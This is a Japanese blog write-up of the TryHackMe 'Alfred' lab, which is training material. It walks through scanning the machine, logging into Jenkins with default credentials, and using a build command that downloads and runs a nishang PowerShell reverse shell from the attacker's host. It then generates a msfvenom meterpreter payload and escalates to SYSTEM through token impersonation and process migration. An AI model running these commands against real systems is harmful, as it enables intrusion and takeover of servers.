【TryHackMe write-up】Alfred

May 03, 2020

はじめに

TryHackMe という Hack the Box のようなサービスを最近やっています。 https://tryhackme.com/

その中の Alfred という machine をやっていきます。

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

nmap

[email protected]:~# nmap -sC -sV 10.10.143.57
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 05:39 UTC
Nmap scan report for ip-10-10-143-57.eu-west-1.compute.internal (10.10.143.57)
Host is up (0.00051s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
3389/tcp open  tcpwrapped
|_ssl-date: 2020-05-02T05:40:09+00:00; -1s from scanner time.
8080/tcp open  http       Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 02:C0:6E:E9:EE:E8 (Unknown)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.38 seconds

8080 番で Jenkins が動いていました

スクリーンショット 2020-05-02 19.42.40.png

適当に admin/admin を入力すれば通りました

Invoke-PowerShellTcp.ps1を使ってshellをとる

有名な nishang のスクリプトを使って shell をとります https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Jenkins は CI/CD のツールです。config 内で build の時に実行するスクリプトを指定できるので以下のコマンドを指定しておきます。

powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.66.152:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.66.152 -Port 4242
  1. http://10.10.66.152:8000/Invoke-PowerShellTcp.ps1をダウンロード
  2. Invoke-PowerShellTcp を実行(10.10.66.152:4242 に接続)

ということをしています。

①用に Invoke-PowerShellTcp.ps1 を DL して python -m SimpleHTTPServer を立てておきます

[email protected]:~# wget https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
[email protected]:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

②用に nc で待ち構えておきます。

[email protected]:~# nc -lnvp 4242
listening on [any] 4242 ...                                                                                                                                                    

build を Jenkins 側で実行するとうまく shell が取れました

connect to [10.10.66.152] from (UNKNOWN) [10.10.143.57] 49207
Windows PowerShell running as user bruce on ALFRED
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Program Files (x86)\Jenkins\workspace\project>

これで user.txt が取れます。

msfvenomでmeterpreterにつなぎ直す

meterpreter に接続し直したいので、msfvenom を使います

[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 LHOST=10.10.66.152 LPORT=1111 -f exe -o sheshe.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: sheshe.exe
[email protected]:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

先ほどとった shell で以下を実行して DL します。

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.66.152:8000/sheshe.exe','sheshe.exe')"

metasploit で multi/handler を待ち構えさせておきます。

msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.66.152     yes       The listen address (an interface may be specified)
   LPORT     1111             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.66.152:1111

先ほど DL したスクリプトを実行します。

PS C:\Program Files (x86)\Jenkins\workspace\project> Start-Process "sheshe.exe"

meterpreter を取得できました。

[*] Meterpreter session 1 opened (10.10.66.152:1111 -> 10.10.149.175:49207) at 2020-05-02 11:01:01 +0000

meterpreter > 

whoami /privで権限確認

whoami /priv

現在のユーザーに対して割り当てられている権限(特権)の一覧が表示される。

とのことです。 https://www.atmarkit.co.jp/ait/articles/1006/11/news107.html

C:\Users\bruce> whoami /priv                                                                                                                                                                                                               
                                                                                                                                                                                                                                           
 whoami /priv                                                                                                                                                                                                                              
                                                                                                                                                                                                                                           
PRIVILEGES INFORMATION                                                                                                                                                                                                                     
----------------------                                                                                                                                                                                                                     
                                                                                                                                                                                                                                           
Privilege Name                  Description                               State                                                                                                                                                            
=============================== ========================================= ========                                                                                                                                                         
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled                                                                                                                                                         
SeSecurityPrivilege             Manage auditing and security log          Disabled                                                                                                                                                         
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled                                                                                                                                                         
SeLoadDriverPrivilege           Load and unload device drivers            Disabled                                                                                                                                                         
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Disabled
SeRestorePrivilege              Restore files and directories             Disabled
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Enabled 
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled 
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege         Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled

Enabled/Disabled に関しては以下の記事が参考になりました。 whoami /priv の状態の「無効」「有効」 とは何か

SeDebugPrivilege, SeImpersonatePrivilege の 2 つが有効になっています。

SeDebugPrivilege

この特権により、TerminateProcess()、CreateRemoteThread() の呼び出し、およびその他の呼び出し先プロセスの危険性のある Win32 API の呼び出しなど、呼び出し元プロセスから呼び出し先プロセスへのすべてのアクセスが可能になります。

SeImpersonatePrivilege

“認証後にクライアントを偽装” ユーザー権利をユーザーに割り当てると、そのユーザーに代わって動作するプログラムがクライアントを偽装することを許可することになります。

SeDebugPrivilege を使用して任意のプロセスへのハンドルを取得する方法 “認証後にクライアントを偽装” および “グローバル オブジェクトの作成” のセキュリティ設定の概要 Abusing Token Privileges For LPE

privilege escalation

incognito を load します。

incognito に関しては offencive security の以下の記事が参考になるかもです。 FUN WITH INCOGNITO

また、以下の記事の Token Impersonation の章もわかりやすかったです。 Attack Simulation: from No Access to Domain Admin

meterpreter > load incognito
Loading extension incognito...Success.

list_tokensコマンドを使用し、使用できる token を確認します。

meterpreter > list_tokens
Usage: list_tokens <list_order_option>

Lists all accessible tokens and their privilege level

OPTIONS:

    -g        List tokens by unique groupname
    -u        List tokens by unique username
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\IIS_IUSRS
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT AUTHORITY\WRITE RESTRICTED
NT SERVICE\AppHostSvc
NT SERVICE\AudioEndpointBuilder
NT SERVICE\BFE
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\Dnscache
NT SERVICE\eventlog
NT SERVICE\EventSystem
NT SERVICE\FDResPub
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\MMCSS
NT SERVICE\PcaSvc
NT SERVICE\PlugPlay
NT SERVICE\RpcEptMapper
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\Spooler
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\WSearch
NT SERVICE\wuauserv

Impersonation Tokens Available
========================================
NT AUTHORITY\NETWORK
NT SERVICE\AudioSrv
NT SERVICE\DcomLaunch
NT SERVICE\Dhcp
NT SERVICE\DPS
NT SERVICE\lmhosts
NT SERVICE\MpsSvc
NT SERVICE\netprofm
NT SERVICE\nsi
NT SERVICE\PolicyAgent
NT SERVICE\Power
NT SERVICE\ShellHWDetection
NT SERVICE\W32Time
NT SERVICE\WdiServiceHost
NT SERVICE\WinHttpAutoProxySvc
NT SERVICE\wscsvc

BUILTIN\Administratorsの token が使用できるので impersonate_token コマンドを使用して BUILTIN\Administrators になりすまします。

meterpreter > impersonate_token 
Usage: impersonate_token <token>

Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.

Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space
meterpreter > impersonate_token "BUILTIN\Administrators" 
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

また、その後 ps でプロセスを services.exe に乗り移ります。 これは Windows が権限を処理する方法によるもので、プロセスが何ができるか、何ができないかを決定するために、なりすましトークンではなく、プロセスのプライマリトークンを使用しているために、高い権限のトークンを持っていても、実際には特権ユーザの権限を持っていない可能性があるためです。

以下の解説がわかりやすかったです(と言ってもあんまりわかりきってない) 偽装とは何か?

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]                                                   
 4     0     System                x64   0                                      
 396   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 524   516   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 572   564   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 580   516   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 608   564   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 668   580   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 676   580   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 680   668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 684   580   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 776   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 852   668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 872   2528  powershell.exe        x86   0        alfred\bruce                  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
 924   608   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe
 940   668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 992   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1016  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1064  668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1180  668   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1212  668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1336  668   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
 1408  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1444  668   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xentools\LiteAgent.exe
 1472  668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1644  668   jenkins.exe           x64   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\jenkins.exe
 1740  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1832  1644  java.exe              x86   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\jre\bin\java.exe
 1884  668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1908  524   conhost.exe           x64   0        alfred\bruce                  C:\Windows\System32\conhost.exe
 2244  872   sheshe.exe            x86   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\workspace\project\sheshe.exe
 2528  1832  cmd.exe               x86   0        alfred\bruce                  C:\Windows\SysWOW64\cmd.exe
 2620  524   conhost.exe           x64   0        alfred\bruce                  C:\Windows\System32\conhost.exe
 2928  668   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
 2964  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 3056  668   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe

meterpreter > migrate 668
[*] Migrating from 2244 to 668...
[*] Migration completed successfully.

プロセスの乗り移りに成功しました。 これで root.txt を取得できます。

終わりに

今回の machine は今まで知らなかった Windows の token とはなんぞやみたいな部分などかなり勉強になる machine でした。 TryHackMe は丁寧な誘導があるのでこう言ったわけわからん machine でも挑戦するハードルが低いところがいい点ですね。

このエントリーをはてなブックマークに追加